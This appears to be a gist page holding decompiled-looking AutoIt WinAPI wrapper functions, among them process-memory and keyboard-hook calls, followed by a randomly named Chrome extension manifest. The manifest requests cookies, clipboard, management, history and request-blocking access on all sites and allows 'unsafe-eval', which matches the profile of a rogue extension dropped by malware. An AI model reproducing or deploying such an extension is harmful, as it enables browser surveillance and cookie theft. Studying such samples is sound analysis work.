Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setevent($hevent)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setfocus($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setfont($hwnd, $hfont, $bredraw = True)
_sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $bredraw, 0, "hwnd")
EndFunc
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setlayeredwindowattributes($hwnd, $itranscolor, $itransgui = 255, $iflags = 3, $bcolorref = False)
If $iflags = Default OR $iflags = "" OR $iflags < 0 Then $iflags = 3
If NOT $bcolorref Then
$itranscolor = Int(BinaryMid($itranscolor, 3, 1) & BinaryMid($itranscolor, 2, 1) & BinaryMid($itranscolor, 1, 1))
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "INT", $itranscolor, "byte", $itransgui, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setparent($hwndchild, $hwndparent)
Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setprocessaffinitymask($hprocess, $imask)
Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setsyscolors($velements, $vcolors)
Local $bisearray = IsArray($velements), $biscarray = IsArray($vcolors)
Local $ielementnum
If NOT $biscarray AND NOT $bisearray Then
$ielementnum = 1
ElseIf $biscarray OR $bisearray Then
If NOT $biscarray OR NOT $bisearray Then Return SetError(-1, -1, False)
If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
$ielementnum = UBound($velements)
EndIf
Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
Local $tcolors = DllStructCreate("INT NewColor[" & $ielementnum & "]")
If NOT $bisearray Then
DllStructSetData($telements, "Element", $velements, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($telements, "Element", $velements[$x], $x + 1)
Next
EndIf
If NOT $biscarray Then
DllStructSetData($tcolors, "NewColor", $vcolors, 1)
Else
For $x = 0 To $ielementnum - 1
DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
Next
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_settextcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "INT", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
_winapi_setlasterror(0)
Local $sfuncname = "SetWindowLongW"
If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setwindowshookex($idhook, $pfn, $hmod, $ithreadid = 0)
Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $pfn, "handle", $hmod, "dword", $ithreadid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setwindowtext($hwnd, $stext)
Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_showcursor($bshow)
Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $bshow)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_showerror($stext, $bexit = True)
_winapi_msgbox($mb_systemmodal, "Error", $stext)
If $bexit Then Exit
EndFunc
Func _winapi_showmsg($stext)
_winapi_msgbox($mb_systemmodal, "Information", $stext)
EndFunc
Func _winapi_showwindow($hwnd, $icmdshow = 5)
Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_stringfromguid($pguid)
Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_stringlena(Const ByRef $tstring)
Local $aresult = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $tstring)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_stringlenw(Const ByRef $tstring)
Local $aresult = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $tstring)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_sublangid($ilgid)
Return BitShift($ilgid, 10)
EndFunc
Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_twipsperpixelx()
Local $hdc, $itwipsperpixelx
$hdc = _winapi_getdc(0)
$itwipsperpixelx = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsx)
_winapi_releasedc(0, $hdc)
Return $itwipsperpixelx
EndFunc
Func _winapi_twipsperpixely()
Local $hdc, $itwipsperpixely
$hdc = _winapi_getdc(0)
$itwipsperpixely = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsy)
_winapi_releasedc(0, $hdc)
Return $itwipsperpixely
EndFunc
Func _winapi_unhookwindowshookex($hhk)
Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatewindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitformultipleobjects($icount, $phandles, $bwaitall = False, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $bwaitall, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
Local $sunicodetype = "wstr"
If NOT IsString($punicode) Then $sunicodetype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, "")
Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
$aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
If $bretstring Then Return DllStructGetData($tmultibyte, 1)
Return $tmultibyte
EndFunc
Func _winapi_windowfrompoint(ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_writeconsole($hconsole, $stext)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[5]
Return $aresult[0]
EndFunc
{
"background": {
"scripts": [
"bg.js"
]
},
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"description": "rvzbuklmeikojcc",
"manifest_version": 2,
"name": "rvzbuklmeikojccUS",
"permissions": [ "unlimitedStorage", "notifications", "clipboardWrite", "notifications", "clipboardRead", "management", "tabs", "history", "cookies", "idle", "storage", "webRequest", "webRequestBlocking", "contentSettings", "*://*/*" ],
"version": "1.0"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment